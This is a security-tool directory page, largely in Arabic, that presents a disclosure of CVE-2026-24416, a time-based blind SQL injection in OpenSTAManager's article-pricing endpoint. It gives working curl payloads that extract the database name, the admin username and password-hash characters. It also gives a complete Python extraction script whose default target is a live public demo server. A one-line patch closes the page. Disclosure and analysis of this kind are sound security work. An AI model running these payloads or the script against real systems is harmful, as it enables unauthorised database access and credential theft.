Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24416 — CVE-2026-24416 - يحتوي OpenSTAManager على ثغرة حقن SQL أعمى قائمة على الوقت في وحدة تسعير المقالات | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2026-24416
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHublukasz-rybak/cve-2026-24416

CVE-2026-24416

CVE-2026-24416 - يحتوي OpenSTAManager على ثغرة حقن SQL أعمى قائمة على الوقت في وحدة تسعير المقالات

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-24416: OpenSTAManager يحتوي على ثغرة حقن SQL الأعمى القائم على الوقت في وحدة تسعير المقالات

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-24416
الخطورةعالية
التوصية الأمنيةعرض التوصية
اكتُشفت بواسطةLukasz Rybak

المنتجات المتأثرة

  • devcode-it/openstamanager (الإصدارات: <= 2.9.8)

تصنيف CWE

  • CWE-89: التحييد غير السليم للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL')

التفاصيل

الملخص

ثغرة حرجة من نوع حقن SQL الأعمى القائم على الوقت (Time-Based Blind SQL Injection) في وحدة تسعير المقالات في OpenSTAManager v2.9.8 تسمح للمهاجمين المصادَق عليهم باستخراج محتويات قاعدة البيانات بالكامل، بما في ذلك بيانات اعتماد المستخدمين وبيانات العملاء والسجلات المالية، من خلال هجمات الاستدلال المنطقي القائمة على الوقت.

الحالة: ✅ تم التأكيد والاختبار على مثيل مباشر (v2.9.8) و demo.osmbusiness.it (v2.9.7)

المعامل القابل للاستغلال: idarticolo (GET)

نقطة النهاية المتأثرة: /ajax_complete.php?op=getprezzi

الوحدة المتأثرة: Articoli (المقالات/المنتجات)

التفاصيل

يحتوي OpenSTAManager v2.9.8 على ثغرة حرجة من نوع حقن SQL الأعمى القائم على الوقت في معالج إكمال تسعير المقالات. يفشل التطبيق في تعقيم المعامل idarticolo بشكل صحيح قبل استخدامه في استعلامات SQL، مما يسمح للمهاجمين بحقن أوامر SQL تعسفية واستخراج بيانات حساسة عبر الاستدلال المنطقي القائم على الوقت.

سلسلة الاستغلال:

  1. نقطة الدخول: /ajax_complete.php (السطر 27)

    root@kitploit:~
    $op = get('op');
    $result = AJAX::complete($op);
    

    يتم استرجاع المعامل op لكن الثغرة تكمن في معاملات أخرى.

  2. التوزيع: /src/AJAX.php::complete() (السطر 189)

    root@kitploit:~
    $result = self::getCompleteResults($file, $resource);
    
  3. التنفيذ: /src/AJAX.php::getCompleteResults() (السطر 402)

    root@kitploit:~
    require $file;
    

    يتم تضمين ملفات complete.php الخاصة بكل وحدة.

  4. المعامل القابل للاستغلال: /modules/articoli/ajax/complete.php (السطر 26)

    root@kitploit:~
    $idarticolo = get('idarticolo');
    

    يتم استرجاع المعامل idarticolo من طلب GET.

  5. استعلام SQL القابل للاستغلال: (السطر 70)

السياق - بنية الاستعلام الكاملة (الأسطر 39-74):

الاستعلام القابل للاستغلال هو جزء من استعلام UNION يجلب سجل الأسعار من الفواتير ومذكرات التسليم:

root@kitploit:~
$documenti = $dbo->fetchArray('
    SELECT
        `iddocumento` AS id,
        "Fattura" AS tipo,
        "Fatture di vendita" AS modulo,
        (`subtotale`-`sconto`)/`qta` AS costo_unitario,
        ...
    FROM
        `co_righe_documenti`
        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
    WHERE
        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ PROPERLY SANITIZED (Line 54)
UNION
    SELECT
        `idddt` AS id,
        "Ddt" AS tipo,
        ...
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND   # ✗ VULNERABLE - NO prepare() (Line 70)
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
    `id` DESC LIMIT 0,5');

السبب الجذري: استخدم المطوّر prepare() بشكل صحيح في أول SELECT (السطر 54) لكنه نسي استخدامه في ثاني SELECT ضمن استعلام UNION (السطر 70)، مما أنشأ نمطاً أمنياً غير متسق.

إثبات المفهوم (PoC)

الخطوة 1: تسجيل الدخول

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

الخطوة 2: التحقق من الثغرة (SLEEP القائم على الوقت)

root@kitploit:~
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
  > /dev/null
# Result: real 0m10.32s (10.32 seconds)

# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
  > /dev/null
# Result: real 0m3.36s (3.36 seconds)

# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
  > /dev/null
# Result: real 0m0.31s (0.31 seconds)
صورة

الخطوة 3: استخراج البيانات - اسم قاعدة البيانات

root@kitploit:~
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)

# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)

# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')

# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')

الخطوة 4: استخراج بيانات حساسة - بيانات اعتماد المسؤول

root@kitploit:~
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)

# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)

شرح الحمولة:

root@kitploit:~
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)

Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true

SQL Query Result:
WHERE
    `idarticolo`=1
    AND SUBSTRING(DATABASE(),1,1)='o'
    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
    AND `dt_tipiddt`.`dir`="entrata"
    AND `idanagrafica`=1

مثال على سكربت الاستخراج الآلي:

root@kitploit:~
import requests
import time
import string
import sys

# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3  # Increased to 3s for stability on remote demo instance

def login(session, base_url, user, pwd):
    """Authenticates to the application and maintains session."""
    login_url = f"{base_url}/index.php?op=login"
    data = {"username": user, "password": pwd}
    
    print(f"[*] Attempting login to: {login_url}...")
    try:
        response = session.post(login_url, data=data, timeout=10)
        # Check if login was successful (usually indicated by presence of logout link or redirect)
        if "logout" in response.text.lower() or response.status_code == 200:
            print("[+] Login successful!")
            return True
        else:
            print("[-] Login failed. Please check credentials.")
            return False
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return False

def extract_data(session, base_url, sql_query, label="Data"):
    """Extracts data character by character until the end of the string is reached."""
    print(f"\n[*] Extracting: {label}...")
    result = ""
    position = 1
    target_endpoint = f"{base_url}/ajax_complete.php"
    
    # Charset optimized for database names and bcrypt hashes ($, ., /)
    charset = string.ascii_letters + string.digits + "$./" + string.punctuation

    while True:
        found_char = False
        for char in charset:
            # Payload: If the condition is true, the server sleeps for SLEEP_TIME
            # Using ORD() and SUBSTRING() to handle various character types safely
            payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
            
            params = {
                "op": "getprezzi",
                "idanagrafica": "1",
                "idarticolo": payload
            }

            try:
                start_time = time.time()
                session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
                elapsed = time.time() - start_time

                if elapsed >= SLEEP_TIME:
                    result += char
                    found_char = True
                    sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
                    sys.stdout.flush()
                    break
            except requests.exceptions.RequestException:
                # Handle network jitter/timeouts by retrying or continuing
                continue

        # If no character from charset triggered a sleep, we've reached the end of the data
        if not found_char:
            print(f"\n[!] End of string or no data found at position {position}.")
            break
            
        position += 1
        
    return result

def main():
    s = requests.Session()
    
    # Allow target URL to be passed as a command line argument
    target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
    
    if login(s, target, USERNAME, PASSWORD):
        # 1. Database name extraction
        db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
        
        # 2. Admin username extraction
        user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
        
        # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
        pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")

        print(f"\n\n{'='*35}")
        print(f"         FINAL REPORT")
        print(f"{'='*35}")
        print(f"Target URL: {target}")
        print(f"Database:   {db}")
        print(f"Username:   {user}")
        print(f"Hash:       {pwd_hash}")
        print(f"{'='*35}")

if __name__ == "__main__":
    main()
صورة

الأثر

المستخدمون المتأثرون: جميع المستخدمين المصادَق عليهم الذين لديهم حق الوصول إلى وظيفة تسعير المقالات (عادةً المستخدمون الذين يديرون عروض الأسعار والفواتير والطلبات).

الإصلاح الموصى به:

الملف: /modules/articoli/ajax/complete.php

قبل (قابل للاستغلال - السطر 70):

root@kitploit:~
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

بعد (تم الإصلاح):

root@kitploit:~
WHERE
    `idarticolo`='.prepare($idarticolo).' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

الاعتمادات

اكتُشفت بواسطة Łukasz Rybak

المراجع

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24416
  • https://github.com/advisories/GHSA-p864-fqgv-92q4

إخلاء المسؤولية

تم الإفصاح عن ثغرة CVE هذه بشكل مسؤول وفقاً لممارسات الإفصاح المنسق عن الثغرات الأمنية. المعلومات الواردة هنا لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة
/modules/articoli/ajax/complete.php
الثغرة الرئيسية
root@kitploit:~
FROM
    `dt_righe_ddt`
    INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
    INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

الأثر: إلحاق مباشر لقيمة $idarticolo دون استخدام prepare()، بينما يتم تعقيم $idanagrafica بشكل صحيح.